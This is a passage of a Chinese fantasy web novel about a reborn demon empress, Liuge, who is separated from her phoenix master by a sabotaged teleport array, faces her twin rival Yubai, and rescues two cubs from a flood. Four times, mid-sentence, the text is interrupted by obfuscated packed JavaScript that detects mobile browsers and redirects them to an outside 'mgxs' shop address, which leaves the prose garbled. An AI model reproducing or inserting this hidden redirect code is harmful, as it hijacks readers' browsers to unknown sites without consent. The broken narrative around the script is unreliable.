藏纵夏总算松了口气,“两位大人请看,青丘所在的第九洲虽然和第四洲接壤,但接壤处是绵长而高耸的缚雾山脉,我们是先走传送阵到缚雾山脚再翻山,还是走东侧的围海,裁弯取直,从水路绕过缚雾山脉,直接进入第四洲北侧?” “走传送阵。”琉歌略一思索,拍板道:“我们这一行人就没有几个水系的,翻山最多一天,比跨海要快的多。” ——缚雾山脚,传送阵内光华闪过。 琉歌一行人刚落地,就有负责管理传送阵的政庭妖族上前,请他们去做个简洁的登记。 这里本就是四九两洲的交界处,负责这些琐事的政庭妖族正好就来自第四洲苍狼族,认识苍狼族长藏纵夏,于是上前寒暄道:“藏领主怎么已经回来了,述职月不是还没结束吗?” 用来记录传送阵来往行人的法器是神庭特制的,像一卷展开的竹简,半人高,悬浮在空中,只要来往行人将一抹灵气注入其中,便可在其上留痕,若未来有需要,可通过这抹灵气追踪行踪。 藏纵夏一边抬手注入灵气一边苦笑着摇摇头,“第四洲水患严重,我也没法心安理得在外逍遥,既然已经找到了外援,就该赶紧回去尽一份力。” “这便是青丘政庭派来救助第四洲的两位大人,”藏纵夏顺口介绍到,“这位血海铜雀族的随心大人更是出窍期强者。” “出窍期!一个出窍期比一万个金丹都有用,青丘中央政庭还真是卧虎藏龙!”负责登记的小妖感叹:“这在青丘之外都可以当领主了!” “对了,你们不是一直在计划,要搭建跨越缚雾山脉,连通四九两洲的传送阵吗?”藏纵夏忽然想到了什么,抱着一点希冀问道:“现在传送阵搭建好了吗?若有传送阵,我们便可不用花一天的时间去翻山了。” 负责人立刻点点头,示意藏纵夏跟他来,“已经基本完成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310223|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,本来这两天就应该全面开放的,但第四洲洪水导致那边进度暂时停滞了,所以现在只是个单向传送阵,不过走这个传送阵进入第四洲是完全没问题的——请几位大人放心。” 琉歌和随音对视一眼,有传送阵自然是最好的,既节约了时间有保留了体力和灵力,有利无弊。 能更快赶回第四洲,藏纵夏自然也没有异议,于是一行人再次站上传送阵法—— 随着阵法光芒逐渐刺目,琉歌眯了眯眼,弥随音注意到了她的不舒服,弯腰将她抱到怀里,拿衣袖给她遮着眼睛。 光华骤然大盛,琉歌就算皱着眉紧紧闭着眼,也觉得眼前白光炸亮。她突然心里一动,下意识扭头望向北边,青丘帝都所在的地方…… 下一刻,传送阵启动,周围的一切霎时间都暗了下来,就像空间被一双无形巨手扭曲又延展,随即立刻以一种让人目眩神迷的速度极速向后退去。 琉歌怀疑是自己多心了,有些犹疑的收回目光,一口气还没松到底,传送阵尽头却骤然传来一声嗡鸣,一阵恐怖的灵气巨浪悍然袭来!碾碎了传送阵的内壁,带着不知何处刺目的天光,狠狠撞上琉歌一行人! “琉歌!” 突逢巨变,弥随音下意识抬手要去护琉歌,却骤然被吸入传送阵碎裂产生的空间裂隙里,瞬息便不知所踪! 眼见着一行人纷纷跌出传送阵,下饺子般落进缚雾山脉各处,而自己还被困在这里,琉歌心底叹息一声,知道这是冲自己来的了。 缚雾山脉深处,弥随音被传送阵吐了出来,他在空中一个旋身,当即化为凤凰真身就要冲回传送阵裂隙,但空间裂隙最大的特点就是不稳定,那道裂隙也不例外,震颤了两下,随即消失的无影无踪。 将弥随音一人留在蓝天,晴日,还有厚而白的云中间。 弥随音沉着脸落于树梢,神色冷冷,“这次事故不是意外,那道灵气就是冲着分开我和琉歌来的。” 但现在最重要的问题是怎么在这连绵深山里找到琉歌。 “琉歌这一世没有杀神子成为妖皇,她现在既没有修为也没有自保能力……”想到这,凤凰仙君懊恼至极,他怎么能下意识觉得琉歌是妖皇,不会在妖界遭到伤害呢?他怎么能什么都不给琉歌准备呢? “都怪我,她现在只有我了——我必须立刻找到她!”弥随音深吸一口气,心念一动,长剑从储物袋里飞出,下一刻,他面无表情的抬起左手,用力握住剑身! 凤凰血离体的一瞬间便开始自燃,无数冒着火的血珠自树梢洒落,弥随音随即五指一握将所有血珠聚到身前,命令道:“去找,找琉歌身上携带的那根凤凰骨——” 是的,前世他能在仙尊魔尊之前找到琉歌,也是靠着着一手——他曾剖骨助妖皇诞生,妖皇身上便永远带着他的力量。 另一边,琉歌冷着脸踏出传送阵,就见面前站着一和她身量相仿的黑发幼崽,那幼崽身后,九条漆黑的狐尾轻轻摇摆。 琉歌忽然轻笑了一声,“郁柏,融合仪式时我放过你一马,让你活到了现在,你不好好躲在帝宫里,居然还敢跑到我面前找死?” 神子,新任妖皇,轩辕郁柏抬眼,神情是琉歌熟悉的阴郁漠然。 他和永远知道自己该怎么走的琉歌不一样,琉歌笑是为了杀人,怒也是为了杀人,但神子似乎永远是这样茫然而厌倦的表情,除了打架,他对什么都不感兴趣。 他没有理会琉歌的狠话,只是一歪头,目光空茫茫的困惑:“姐姐,我现在是妖皇了,但还是想不明白你那时为何那么做……” “姐姐,那时为何要放过我呢?” 11. 世事昏 “啪! 青丘帝都,玉牡丹帝宫内,一瓷杯突然被人重重砸在了青玉铺就的地砖上,屋内屋外无数妖族下意识惶恐的俯身跪下,像是荡开了一圈肉做的声浪。 “回答我,惊轶,你把那面铜镜拿去做什么了?” 喻未央墨蓝色的瞳孔里满是灼人的愤怒,鲛人族长化为原型,居高临下飘在半空,她粗壮而强悍的长尾划过惊春两人身前,属于渡劫期强者的威压沉如山峦,令地上的两人皆敛眸闭口。 “那是神女大人和圣坛共鸣的依凭,在问情妖皇身上都没出现过的独特力量——现在,那面铜镜,在哪里?”她压抑着怒气一字一顿的问,修为只有元婴的春在野唇角已经溢出道道血痕。 他和惊轶交换了个视线后,撞着胆子一擦唇边血迹,不忿的反驳道:“喻族长,帝宫藏宝阁只要有两位长老的许可便可打开,我们身为长老,有规划妖族未来的权责。” 喻未央沉默悬于半空,野兽般的深蓝竖瞳冷冷凝在底下两人身上,宛如暴雨前夕的大海般令人窒息。终于,她像是听到了什么笑话似的低声笑了笑,“规划妖族的未来……?哈哈哈哈哈惊轶啊,究竟是妖族的未来,还是你们两个人的未来?” 鲛人族长目光投向高台,透过飞舞的细纱和她墨蓝张扬的长发,恍然间竟觉得问情从未离去——她素来不是勤勉的帝皇,早朝经常说翘就翘,找不到人的情况更是家常便饭……对,问情只是和往日一样,厌倦了政务,不知道去哪里躲清闲了。 “……我知道,你们把那枚可以连通地脉的铜镜给郁柏神子了。” 喻未央疲惫的掐了掐鼻梁,“之前,我同意举行融合仪式,是因为魔族在屏障外虎视眈眈,妖界迫切需要妖皇稳定民心,而且神女觉醒失败。但现在,神女已然觉醒,还拥有了妖界未曾涉猎研究过的,地脉相关的力量。” “我还是那句话,凤凰仙君可能是对的,双生神明是天道地脉给予妖族的破局希望——我们该用更温和的方式加深对双生神明的了解,推进祂们力量交融,成为完整的神族。” 春在野率先移开了目光。 神女离开前最后看他的那一眼始终回荡在他的识海,午夜梦回时多少次冷汗涔涔的惊醒,春在野也会想,要不就迎回神女大人吧,他们这些从神使降位为长老的老人,也该回到他们正确的位置上了。 但他不甘心,为了那个计划,他无数次冒天下之大不韪,取神血私下里做研究……且不说神女回来后会如何清算他前期的所作所为,就算神女退一万步,不追究了,他真的甘心就此收手,将已有进展的试验停下吗? 就算明知正道近在眼前,春在野也没有胆子踏上去了。 “喻未央,你的话不无道理,但问情尊上所化的屏障已经保护了妖界三年之久,现在已经脆弱不堪,随时有破碎的风险——你知道屏障外有多少虎视眈眈的魔族——我们没有时间去尝试,推进你的计划了,况且神女现在跟在凤凰仙君身边不知所踪,就算我们想和解,神女大人会轻易同意吗?” “对,就是你说的那样,铜镜现在在郁柏尊上手里,他现在既有真身的力量,又有地脉的力量——杀一个没接受过任何教导的神女,完全绰绰有余!” 惊轶张开双臂,不躲不闪注视着喻未央逼近,棕黄色的眼瞳里迸出璀璨炽烈的光,照亮了他眼底浓得化不开的权欲。 他眼底对权力的渴望令喻未央诧异,偏偏嘴上却还说的无奈,“喻未央啊……喻族长,我也不想这样算计一个无辜的小雌君,但能影响一位神明的机会多么难得!你可曾想过,郁柏尊上马上就会契约自己的三位神使,若我们不得他的信任,不被他选择,那时我们该何去何从?我们身后都还庇佑着各自家族呢!” 鲛人族长垂眸望着底下两人,忽然再难忍受这里发生的一切,“惊轶,亦清放弃第一神使之位成为妖后后,你便跟问情推荐了春在野……原来还是在玩你们赤狐那一套一脉相承的弄权戏码。” “你扪心自问,现在的你究竟是忠于妖界,忠于妖皇,还是忠于自己家族的显赫前途?” 惊轶注视着喻未央,没有承认也没有否认:“问情将已经苟延残喘的妖族救出苦海,我绝对忠于她。” “我只是比你们多想了一步,多做了一点打算。” 喻未央冷笑,“你们就这样装傻吧,想靠全力支持郁柏尊上保自己家族荣华显赫,也要看看你有没有这个将神族玩弄于股掌之间的能力!” 她长尾一摆落于地面,将问情尊上赐下的神使令牌一把扯下,拍进惊轶怀里,“鲛人族效忠的,是那个烈阳般耀眼的问情尊上,现在妖皇既已换人,我也将带领鲛人族重回深海。陆上的事情……你们陆族和翼族自己解决吧。” ——第四洲,缚雾山脉上空,同源双生的两位妖界半神正在对峙。 “我从未放过你,郁柏,妖皇之位只会是我的所有物。”琉歌双手抱胸,目光上下打量着许久未见的郁柏,只觉得他像个被缝在圣坛上的破布娃娃,扭曲的凝结着所有人的希冀,也汇聚了无数的觊觎和恶意。 “可现在被圣坛承认,并被宣告五界的妖皇是我。” “我不觉得一个顺应神庭意志而行动的傀儡足以自称妖皇。”琉歌反唇相讥,她大概能猜到郁柏来做什么——无非是拿到了她的坤元堪舆镜,让神庭觉得又有把握杀她了。 “神庭就是妖族百姓的代表,祂的意志就是百姓的意志。”神子疑惑的歪着头,显然,从未离开过神庭的郁柏,不知为何琉歌要将神庭和妖族百姓分开别论。 郁柏过长的刘海遮住了他的右眼,似乎是特意留的,琉歌也不知为何,就听神子继续说:“自诞生至今,神庭长老们只给了我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310224|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们两条路——成为妖皇,或成为妖皇的踏脚石。” “姐姐,你因和而反抗神庭?你又要走向何方?”比起琉歌装出来的天真,倒是他的迷茫更真切。 这句话也是琉歌前世今生无数次反问自己的一句话,她心底微微起了涟漪,一句反问下意识脱口而出:“你不觉得很没意思吗?” 琉歌注视着神子,眼里是郁柏未曾有过的奇异光芒:“神子,我们神族究竟是什么?” “妖界需要妖皇,我们就诞生,妖界不需要那么多妖皇,我们就厮杀,妖界需要存续,我们就牺牲——神子,妖皇究竟是独立的生命,还是被创造出来的,随时准备为妖族百姓牺牲的消耗品?” “……我不知道,”神子深深皱眉,神情愈发焦躁烦闷,“姐姐为何总要想这么多?明明我们只需要打一场,败者就此消逝,胜者成为妖皇,从此就跟着百姓愿景行事就好了,不是吗?” “问情先皇也说过——神庭的意志就是我的意志。” 琉歌怔愣了片刻,忽然感受到一股陌生的情绪充盈胸腔,空茫而酸涩,让人想发怒却无处倾泻,想不吐不快却被禁锢住唇舌。 罢了。 “既然如此,多说无益,你要在这里继续融合仪式吗?”琉歌原本的计划是让神子继续在那个位置上吸引视线,自己私下里将前世谜团调查清楚,若现在这个想法受阻,她也不介意直接夺回妖皇之位。 出乎琉歌的意料,郁柏拒绝了。 “不,”他说,“虽然神庭确实命我杀了你,得到全部力量,成为完整的妖皇……但姐姐,在神庭,百姓,牺牲和吞噬之前,是力量同源,同胎双生的我们——你是否清楚,这天地间,我们才应该最亲密。” “为何叛出神庭,为何拜一个仙族为师,为何不杀我,又为何要和我说神族的自由意志?”他后退两步,将铜镜从怀里掏出,扬手抛进了琉歌怀里,“在我没搞明白这些之前,谁也不准杀你,包括我。” “我今日前来,是要告诉你,仙尊梅若君得到了我——新任妖皇正位的消息,于是在仙界发出邀请,请天下神族齐聚仙界天池参与琼寰大会。” 郁柏阴霾丛生的神色终于略微放缓,“神庭三长老已经准备好和我一起上仙界参与大会了,这次大会之后,五界便会认可我的身份,那时我不知你是否还能肯定的说出,妖皇之位是你的囊中之物。” 他虚虚抬手遥遥一推,天地陡然颠倒!琉歌只听耳畔呼啸风声划过,视线霎时开始旋转,她这才恍然意识到自己在下坠! “从你回来的那一刻,作为变数而存在的就不仅仅是凤凰仙君了。” 郁柏冷眼看着琉歌坠入绿波荡漾的林海,唇舌微张,无声的发出问询:“为何那么抗拒多了解我一点呢,姐姐?因为在你的眼中,我始终还是,上一世那个早早死去的亡魂吗?” 12. 神族权柄 “扑通——”一团小小的身影自半空砸下,落入湍急而下的洪水中,激起的浪花融入四处飞溅拍岸的巨浪里。 浑浊的洪水里,坤元堪舆镜化为流光回归她的手背,“噗哈!”等琉歌憋住一口气从水下浮上来时,郁柏已经消失的无影无踪。 “啧。”银发湿漉漉的贴在她的脸颊,琉歌蹙眉拨开,这是前世今生,她跟神子第一次真正意义上的交谈。 前世,自从神子先她一步觉醒了真身的力量后,两人便被分开了。 神子去学习怎么掌控真身,而她则被焦急又不解的神庭长老们一遍遍围着研究,长老们想尽办法尝试刺激她的核心,让她跟神子一样完成觉醒。 后来诸多方法皆无效后,神庭干脆转换了策略,反正妖皇只要一位就够了,于是开始只跟她讲牺牲,奉献和妖皇职责了,力图让她在融合仪式时不要反抗,乖乖助神子成为完整的妖皇。 只是不知为何,那些牺牲奉献的理论她没听进去,反倒是神子,像被洗脑了一样坚信着那些东西。 其实,前世的她在融合仪式上临时觉醒的地脉之力,是比不过拥有妖皇真身多时的神子的,掌控度和力量感都差了档次。 她当时说了什么来着? 琉歌在湍急轰鸣着向山下冲去的洪水中一抬手,一条地脉能量化成的藤蔓出现在她的掌心,猛地延长射出,将一株被山洪连根拔起的大树拽到身前,她抱着树干,手一撑爬上去稳住了身形—— 对了,她说:“你凭什么吞噬我,神子,你能背负我的人生吗?” “……最亲密?”她盘腿坐在树干上,摩挲着失而复得的坤元堪舆镜,忽然觉得好笑,“是因为诞生起就养尊处优么?这么幼稚?怪不得当年那样轻易就放弃挣扎了。” 琉歌发色太浅,瞳色又太深,因为一直没有和神子分出胜负,所以两人目前都处于力量缺失的饥饿状态,脸色都不好看,因此,任何人第一眼看到琉歌,都会被她那太过浓墨重彩的一双眼睛所吸引。 因为色彩太集中,太抓眼,那双墨紫色的眼瞳轻轻一扫,就是一片寒彻骨髓的森森鬼气。 “只要妖皇之位上还是只能容纳一人,我们两个就必然要分个生死出来。”琉歌意味不明的抬眸望向郁柏消失的方向,“什么半身手足,同胎同源,都不过是以后供说书人添油加醋的无用之物罢了……你我身在局中,结果你竟连这都看不清?” 原本湍急的洪水突然缓了下来,琉歌从思绪中抽离,抬眼一扫——只见她已经顺着洪水到了山脚下。 原本郁郁葱葱的密林,现在已成一片浑浊的汪洋,身边,无数的树枝和零星树干飘在她身旁,头顶,厚重的铅灰色云团压得极低,仿佛她起身,抬手便可将他们戳个窟窿,让其中积蓄的恐怖大雨就这样倾盆降下。 视野里可见的一切都被昏黄的洪水掩埋,只有零星的几株高大古木仍顽强的将头露出水面。 琉歌惋惜的叹息一声,她握着坤元堪舆镜,和这片土地地脉相连,在她的探知里,她能看到这些参天古木早已溃烂的根系。 “找人,坤元堪舆镜,给我顺着地脉探查凤凰仙尊的位置。”琉歌有些担心,虽然郁柏看起来像是自己跑出来的,但谁也不知道神庭几位长老会不会趁机配合郁柏,对弥随音动手,尤其是惊轶,那个老狐狸。 突然,一点微弱的敲击声从她左下方的水下传来——“咚……咚……咚” 微弱但顽强,极有可能是被这次洪水波及的灵化幼崽! 琉歌想将坤元堪舆镜抛向空中的手顿住了,凤凰是上古神兽,只要不是人皇仙尊这个级别的神族亲自动手,他出意外的可能还是小的。 但幼崽,还是被压在洪水下面的幼崽,这就不一样了。 银发神女没怎么犹豫,立刻半蹲下身,将铜镜背面与水面相贴——刹那间,洪水,树木,山石等一切遮掩都在琉歌眼底消失了,像透视一般,她拂去一切表象的尘埃,让第四洲这片土地在她眼底无所遁形! 阴云遮天蔽日,在昏暗的天地间,神女墨紫色的眼瞳幽幽发出亮光……在哪里,她目光锐利,逡巡而过,刚刚发出敲击声的妖在哪里? “咚!”那敲击声再次响了起来,琉歌立刻锁定了那个方向,一点暖黄色的光团在她的视野里亮起……不对,不止一个。 将光点逐个在坤元堪舆镜上做了标记后,琉歌深吸一口气,从树干上一跃而下,地脉化为细藤缠上她的手腕上,将她迅速拉向第一个标记的地点—— 那是一个洞穴入口,琉歌简单感知了一下周围的环境,发现这里已经算是附近的地势高处了,那几只幼崽应该是在洪水发生的第一时间就躲到了这个洞穴里,没想到这次不是寻常的大降雨,而是积雨云翻过逐云山脉形成的山洪。 她找了块巨石将藤蔓缠了上去,随即手脚一摆,向洞穴深处游去。 洞穴内,一双绿莹莹的眼睛紧贴着洞穴内壁,她有一双尖利的手爪,指尖伸长反曲,如五把匕首,深深嵌在潮湿的土层中,她被困在这洞穴中狭小的气室里已经不知道多久了,可能唯一的好消息,就是第四洲尚处于盛夏,因此洞穴里的水也没有冰到令她失温的地步。 ……也可能是因为她是虎族,阳气比较重吧,坚持的也能久一点…… 雌性幼崽漫无目的的发散着思绪,但不知道自己还能坚持多久,她是灵化幼崽,也没妖族知道她被困这里了,想出去,不会要等洪水自己退去吧…… 她眼眶骤然一酸,绿莹莹的眼瞳顿时闪过波光粼粼的水光——“不行不行,银杏还在更里面呢……我得坚持住!” 她一歪头在胳膊上蹭掉眼泪,强行打起精神沿着内壁敲来敲去,期盼着有水系的妖族前辈感知到她的求救信号。 突然,她圆圆的耳朵向后一撇,只听一连串咕嘟咕嘟的气泡从她身后冒出! 虎族幼崽只觉得头皮都炸了,她背一弓,尚不明显的犬齿翻露,勉强回身厉声喝道:“谁!” “噗哈!”琉歌冒出头,长长换了一口气。 “前辈……不对,你怎么也是幼崽!?”虎族幼崽提着的心刚放下,结果定睛一看,却发现琉歌是个跟她差不多大的幼崽! “没礼貌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310225|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我就是前辈。”琉歌将坤元堪舆镜调成柔光模式往上一抛,照亮了这方空间,她打眼一扫,发现这里是一气室,因水上涨,洞穴被封闭起来后,残留的空气形成的狭小空间。 “我先带你出去,抓着这根藤蔓跟我走吧。”琉歌从镜中又抽出一细藤,一头缠到虎族幼崽身上,一头融入自己引路的藤蔓,就要带她走—— “请等等!前辈,里面还有我的妹妹,请找找她!她不久前还能回应我的敲击,应该不会跟我离得太远……”虎族幼崽赶紧死死扒住洞穴内壁,虽然对琉歌的外表一百万个不信任,但她能找到这里,绝对是比自己要强得多的。 琉歌有些诧异的一挑眉,“我知道还有幼崽在里面,但你不怕么?” “我现在一但离开,你不知我何时会再出现,也不知道我会不会再出现,这才是真正的度秒如年……你不怕吗?” 琉歌手一招,将铜镜按在气室内壁再次定位深处遗留的幼崽,发现代表幼崽生命力的光芒已经微弱的几不可见了。 “前辈不必吓唬我,我们虎族未来是百兽之王,这点胆量还是会有的。”虎族幼崽脸色苍白唇色发青,虽然嘴唇哆哆嗦嗦的,但神色还算坚定。 这小雌君比她想象的还要令人满意,琉歌便也没有再劝说,随着水花荡开,她游到虎族幼崽身侧,指尖一道红绳凝聚而出,琉歌将她垂在肩头的一缕头发用那微微发亮的红绳绑起,随即抬手按上气室内壁,随着一声闷响,一个半人高的凹陷出现在两人眼前。 “上去待着吧,你现在是我们的锚点了,这根红线我系在你小辫子上,每十个呼吸我会拉一下,等我连拉三下的时候,就是我找到了你妹妹的时候,记住了吗,你要做的,就是在这里好好坐着,不要掉下去。” 见虎族幼崽已经爬进了凹坑,琉歌满意笑笑,“好孩子,接下来仔细数自己的呼吸吧。” 有地脉连接在身上,这片土地上发生的一切,在琉歌眼里都是透明的,在昏暗的水中洞穴里,找一个已经无法做出回应的幼崽,这对别人来说很是困难的任务,但对琉歌来说,就像是拿着地图玩迷宫。 很快,她从令一个更为狭小,即将耗尽氧气的气室里,捞出了一只浮在水面,已然昏迷,只剩一口气的银杏族雌性幼崽。 但是,怎么带她回去呢? 潜水是不可能了,直接让她进地脉,通过地脉送她回到地表也不行,幼崽脆弱,尤其是她现在已经昏迷,经不起折腾了,可能地脉力量刚一注入,她就会被撑的七窍流血,经脉尽断…… “啧,我本来就没积攒多少力量,不知道够不够用……” 琉歌啧了一声,随即,她的眉心亮起一道繁复而古老的神纹,一团气雾从她的眉心涌出,在她和幼崽周身不断的缠绕,凝实,最终变为了一层半透明的圆形容器,隔离了洪水,将两人妥帖的装了进去。 “空间,立刻回到锚点身边。”她掌心与空间相贴,轻声下令,若是银杏族幼崽此时醒着,就会发现这圆形的容器无视了所有阻拦,仿若瞬移一般,眨眼间便顺着红线,将两人带到了虎族幼崽身边! 13. 风从吾 “您回来了!”虎族幼崽睁着一双绿莹莹的眼睛,紧张的去瞅琉歌背后,躺在半透明圆形容器里的银杏族幼崽,“前辈,庆庆还好吗?” 琉歌伸手,虎族幼崽会意,扶着琉歌的手也坐进了圆形容器里,“她叫庆庆是吗?目前情况不是很严重,木属植物系的幼崽天生自带木系,我看她还有光系灵根,自愈能力强得很,出去很快自己就能恢复了。” 见虎族担忧的要哭出来了,琉歌也不想在这狭小的洞穴里听小孩哭,于是勉强拾起自己微薄的同理心,既是安慰也是转移话题的问道:“对了,还没问呢,你叫什么名字?” “……我还没有名字,洪水之前,我和庆庆本来想下山,去看看绣骨到底是什么样的,结果差点死在这里……”虎族幼崽颇为老成的叹气,庆庆强悍的自愈力她是清楚了,又有了前辈保证,这才稍微放下心来。 琉歌有些不解,“我看你们两个化形都已经很熟练了,现在应该在七八十岁左右的幼崽期末期了吧,为什么不去绣骨接受更好的教育呢?” “绣骨真的值得信任吗?” 虎族幼崽拧着自己湿漉漉的衣摆,忽然问出了一个琉歌从未想过的问题—— “我们是在人界诞生的最后一批妖,也是跟随问情尊上进入妖界的,最年幼的一批妖……前辈,在拥有力量之前,不要盲目的相信任何人,这是人界唯一教会我的道理。” 妖族寿命绵长,就算从生到死一直不修炼也有一千年左右的寿数。 妖族将尚未凝出妖丹的时期称为幼崽期,幼崽期会持续一百年左右,这一百年里幼崽会想尽一切办法去吞食富含灵气的食物,灵气入体后不断强化他们的骨血筋脉。 等幼崽觉得能量足够他们凝结妖丹了,幼崽们就会进入成长期,那些积蓄在体内的能量,此时便会化为灵气潮涌疯狂涌出,以三次灵气潮涌,帮助幼崽一举凝出妖丹! 同时,这些在过去百年里积蓄的能量也会化为妖丹的第一波养分,天赋好的,如颂颂和藏纵夏,有机会能在第三次灵气潮涌之后将修为冲到金丹,天赋差一些的,则大部分会停留在练气或筑基阶段。 三次灵气潮涌之后,成长期幼崽便迈入成年期,第三次灵气潮涌结束,也标志着妖族幼崽的成熟,有些讲究些的家族氏族,会给幼崽隆重的办一个成年礼。 三次灵气潮涌的时间不定,因妖而异,但总体时间和幼崽期相当,也是一百年左右。 总而言之,妖族幼崽想要正式成年,需要度过漫长又漫长的两百年。 而人族内天赋卓绝者,修到金丹可能只要二十年,相对妖族来说,人族简直是落地即成熟。 两百年,妖族刚刚成熟,但这个时间,够人族修出多少金丹,元婴,甚至出窍期强者? 问情妖祖分割人妖两界后,很多妖族私下里也会感叹,若没有问情妖祖横空出世,或许妖族很快就会在人族的奴役下湮灭,最终成为历史的尘埃。 琉歌,第二任妖皇,她是妖界的核心,九州四海无可替代的权力中心,被她喜爱的就生,被她厌恶的就死——她向来将百姓的对她的忠诚视为本能,却从未问过自己凭什么—— 怪不得……怪不得上一世那么多妖族,明明妖界已到了生死存亡之刻,仍然坚持闭目塞听,躲在自以为安全的角落里,无视外界发生的一切,就这样任由大火烧到自己脚下。 银发妖皇曾毫不怀疑他们的懦弱和短视,现在看来,倒是醍醐灌顶一般,她第一次回视自己,在心底问道:“如果当真抛去妖皇这个身份,你的子民凭什么信仰你,又凭什么信任你治下的神庭和政庭?” 琉歌有心想感谢一下这虎族幼崽,又不太好意思说的太直白,只好迂回道:“你……我在神庭还算有些势力,我给你取个名字吧,以后你长大了,可以来青丘神庭找我,就用你辫子上那条红绳作为依凭,如何?” 虎族幼崽不知她心思一转想了那么多,懵懵懂懂的一点头,还不忘提要求:“好呀,那我想要酷一点的,未来我可是百兽之王,要一听我的名号就能吓退敌人的那种酷。” 童言童语总是让人会心一笑,琉歌沉吟片刻,“云从龙,风从虎,逐云虎族又多以风为姓,你以后就叫……风从吾。” 风从吾眨巴眨巴眼睛,“风从吾……风从吾,好酷!你果然是大地方来的前辈,随口取的名字也好听!” 其实不是琉歌取名的技术多么高超,只是妖族刚刚独立二十年,大多妖族此时尚处于文盲状态,政庭要每个妖将自己的名字报上去,很多妖绞尽脑汁也就想出了一个小名一样的叠词。有文化一点的像白水边,已经有了基本的姓和名的概念,但也取的不算好听。 能在人族高压之下还保有余力教育下一代的家族,在妖界屈指可数。 “前辈,我们现在该怎么办,怎么出去啊?”风从吾好奇的四处摸摸望望,打量着这个圆形的容器,“它可以带我们出去吗?” “不行,没有人在后面推它的话,它没有动力的。”琉歌顺手拍拍风从吾的脑袋,示意她放宽心,“等着吧,有人来救我们了。” 下一刻,在几只幼崽头顶正上方,一声清亮的凤吟响彻天地! 随即,逐云虎族领主风弄堂,绣骨政庭高层,逐云隼族族长危秋,和因郁柏暗算,在缚雾山脉与众人走失的苍狼族长藏纵夏,纷纷降落在片区域周围,最后,有着华丽尾羽的火焰巨鸟遮天蔽日的双翼一收,足尖点水,立于浩汤汤洪水之上,化为一有及腰黑发的高挑男子。 “随心大人,跟您前来的那位大人,现在就在洪水之下吗?”风弄堂率先确认到,得到弥随音点头,隼族族长危秋低喝一声,妖丹内灵气流转速度拉到极致,狂风顿时从他周身荡开,吹得所有人衣袍猎猎作响。 “分!”他一掌拍向水面,宛如巨斧劈开平整的水面,藏纵夏紧随其后,冰系灵气覆满双掌,一边一下将被分开的洪水暂时冻结在原地。 洞穴气室内,琉歌耳朵一动,悄然收回了放出去感知的无数精神丝线,侧头嘱咐风从吾:“抱紧庆庆,救我们的人来了。” 随即,气室内壁震颤片刻,突然向下延伸,收束,为了防止救援破坏气室的密闭性,导致洞穴水大面积倒灌,冲入气室,下一刻,厚重的黄土在她们脚下闭合,将她们与洞穴水分隔开来。 下一瞬,一点微光自几人头顶洒落。 “琉歌!” 逆着光,琉歌下意识眯了眯眼,没看清凤凰的模样,但他的灵气已然化为柔软的水袖垂下,将几只幼崽连同圆形容器一卷,穿过浑浊的洪水与无光的岩层,将她们拉了上来。 “得救了!”风从吾热泪盈眶,立刻有人上前检查她和庆庆的情况,还有人上前来,想让弥随音把琉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310226|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歌放下,给他们做个简单的检查,被琉歌从背后挥挥手拒绝了。 “师尊,我没事的。”她有些疑惑,凤凰的心跳比她想的还要急促的多。 为什么?弥随音明明知晓她是妖皇的呀,为何还这般担心呢? “我看到了,看到你从那边山脉中段跌入洪水,一路被冲到这里……你明明可以呆在这里等我的,为何要以身涉险呢?你现在还不是……” “师尊,”琉歌反手虚虚一按,示意弥随音噤声,“我现在只是你的徒弟。” 她随即笑嘻嘻的移开手,示意弥随音自己安然无恙,“而且,我知道师尊一定会找到我的呀。” 前世,她遣散所有帝宫内的妖族,做出亲临前线准备和仙魔决一死战的假象,连仙尊和魔尊也未曾识破她的阵法,只有凤凰,在所有人之前,找到了在帝宫布阵的她,琉歌知晓,凤凰应该是有自己的底牌的。 弥随音有些吓坏了,反复确认琉歌没有事之后才略微冷静下来,都没有来得及否认师徒关系,略微责备的一戳琉歌眉心,“贫嘴。” 